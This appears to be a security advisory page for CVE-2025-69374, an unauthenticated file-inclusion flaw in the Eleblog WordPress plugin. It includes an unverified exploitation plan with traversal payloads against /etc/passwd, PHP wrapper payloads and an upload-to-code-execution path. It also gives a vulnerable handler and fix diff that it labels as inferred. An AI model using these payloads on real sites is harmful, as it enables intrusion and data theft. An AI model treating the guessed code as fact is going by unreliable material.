CVE-2025-69374

Eleblog – Elementor Blog And Magazine Addons <= 2.0.3 - Unauthenticated Local File Inclusion

highImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
8.1
CVSS Score
8.1
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Eleblog – Elementor Blog And Magazine Addons plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.0.3. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.3
PublishedFebruary 5, 2026
Last updatedFebruary 9, 2026
Affected pluginele-blog
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-69374 (Eleblog LFI) ## 1. Vulnerability Summary The **Eleblog – Elementor Blog And Magazine Addons** plugin (versions <= 2.0.3) contains an unauthenticated Local File Inclusion (LFI) vulnerability. The flaw exists because the plugin fails to properly validate …

Show full research plan

Exploitation Research Plan: CVE-2025-69374 (Eleblog LFI)

1. Vulnerability Summary

The Eleblog – Elementor Blog And Magazine Addons plugin (versions <= 2.0.3) contains an unauthenticated Local File Inclusion (LFI) vulnerability. The flaw exists because the plugin fails to properly validate or sanitize a user-supplied file path before passing it to a PHP include() or require() statement. This allows an unauthenticated attacker to traverse the server's filesystem and execute arbitrary PHP code by including local files or uploaded "safe" files (like images containing PHP payloads).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: ele_blog_load_more_posts (inferred) or a similar AJAX handler prefixed with ele_blog_.
  • Vulnerable Parameter: Likely template, layout, or style_path (inferred).
  • Authentication: Unauthenticated (targets wp_ajax_nopriv_* hooks).
  • Preconditions: None, though code execution usually requires the ability to upload a file (e.g., via a profile picture or media upload) or finding a known log/config file.

3. Code Flow (Inferred)

  1. The plugin registers an AJAX action for unauthenticated users:
    add_action( 'wp_ajax_nopriv_ele_blog_load_more_posts', 'ele_blog_ajax_handler_function' );
  2. The handler function retrieves a parameter from the $_POST or $_GET global:
    $template_file = $_POST['template'];
  3. The plugin attempts to include a template file dynamically:
    include( $template_file ); (or a variation like include( PLUGIN_DIR . 'templates/' . $template_file );)
  4. Because there is no sanitization (e.g., basename()) or whitelist check, an attacker can use directory traversal sequences (../) to escape the intended directory.

4. Nonce Acquisition Strategy

If the AJAX handler is protected by a nonce, it is likely localized for the Elementor widgets.

  1. Identify Shortcode: The plugin's scripts and nonces will load on pages containing an Eleblog widget.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Eleblog Test" --post_content='[ele_blog_posts]'
    
    (Note: Replace [ele_blog_posts] with the actual shortcode found via grep -r "add_shortcode" .)
  3. Extract Nonce:
    Navigate to the new page and use browser_eval:
    // Look for localized JS objects like ele_blog_ajax or similar
    browser_eval("window.ele_blog_ajax?.nonce || window.eleblog_obj?.nonce")
    
    If no nonce is required in the wp_ajax_nopriv handler (common for LFI bugs), this step can be skipped.

5. Exploitation Strategy

We will attempt to read /etc/passwd to confirm LFI.

  • Step 1: Identify the exact AJAX action and parameter.
    Search the codebase for wp_ajax_nopriv and include:
    grep -rn "wp_ajax_nopriv" .
    grep -rn "include" . | grep "\$"
    
  • Step 2: Construct the LFI Payload.
    Target: /etc/passwd
    Payload: ../../../../../../../../../../etc/passwd (adjust depth as needed).
  • Step 3: Execute the Request.
    Using the http_request tool:
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "body": "action=ele_blog_load_more_posts&template=../../../../../../../../../../etc/passwd"
    }
    
    (Note: The parameter name template and action ele_blog_load_more_posts must be verified against the source code.)

6. Test Data Setup

  1. Ensure the plugin ele-blog is active.
  2. If the vulnerability requires a specific file extension (e.g., .php is appended), we may need to target wp-config.php or use a null byte %00 (though null bytes are fixed in PHP 5.3.4+, WordPress environments may vary).
  3. For a full PoC of code execution:
    • Upload a text file or image containing <?php phpinfo(); ?> using a standard WordPress upload mechanism.
    • Find the path: wp-content/uploads/year/month/file.jpg.
    • Include that path via the LFI.

7. Expected Results

  • Success: The response body contains the contents of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash).
  • Failure: The response is 0 (WordPress AJAX default for failure) or a 403/500 error without file content.

8. Verification Steps

After the HTTP request, verify the plugin's behavior:

  1. Check Logs: Verify if the file access was logged in the server access logs.
  2. WP-CLI Check:
    Check the plugin version to ensure it is in the vulnerable range:
    wp plugin get ele-blog --field=version
    

9. Alternative Approaches

If the template parameter is not the sink:

  • Search for other sinks: Look for require, require_once, or file_get_contents (if used in a way that leads to execution/disclosure).
  • Check for Query Parameters: Some plugins use $_GET instead of $_POST for dynamic template loading.
  • Wrapper Exploitation: If the inclusion is restricted, try PHP wrappers:
    • php://filter/convert.base64-encode/resource=wp-config.php (to read PHP files without executing them).
    • data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== (if allow_url_include is On).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Eleblog plugin for WordPress is vulnerable to unauthenticated Local File Inclusion via the 'ele_blog_load_more_posts' AJAX action. An attacker can use directory traversal sequences in the 'template' parameter to include and execute arbitrary PHP files or read sensitive system files on the server.

Vulnerable Code

// Inferred from vulnerability description and research plan
// Likely location: ele-blog AJAX handler for 'ele_blog_load_more_posts'

add_action( 'wp_ajax_nopriv_ele_blog_load_more_posts', 'ele_blog_load_more_posts' );

function ele_blog_load_more_posts() {
    // ...
    $template_file = $_POST['template']; // User-supplied input from POST request
    // ...
    if ( ! empty( $template_file ) ) {
        include( $template_file ); // Vulnerable sink: direct inclusion without sanitization
    }
    // ...
    wp_die();
}

Security Fix

--- a/ele-blog/inc/ajax-handler.php
+++ b/ele-blog/inc/ajax-handler.php
@@ -10,7 +10,12 @@
 function ele_blog_load_more_posts() {
-    $template_file = $_POST['template'];
-    include( $template_file );
+    $template_file = sanitize_text_field($_POST['template']);
+    $template_name = basename($template_file);
+    $allowed_path = plugin_dir_path(__FILE__) . 'templates/' . $template_name;
+
+    if ( file_exists( $allowed_path ) && strpos( realpath($allowed_path), plugin_dir_path(__FILE__) ) === 0 ) {
+        include( $allowed_path );
+    }
     wp_die();
 }

Exploit Outline

The exploit targets the WordPress AJAX endpoint to perform directory traversal. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ele_blog_load_more_posts'. The 'template' parameter is then populated with a directory traversal string, such as '../../../../../../../../etc/passwd' to disclose system files, or a path to a previously uploaded malicious file (e.g., an image containing PHP code) to achieve remote code execution. No authentication or valid nonces are typically required for the 'nopriv' version of this AJAX action.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.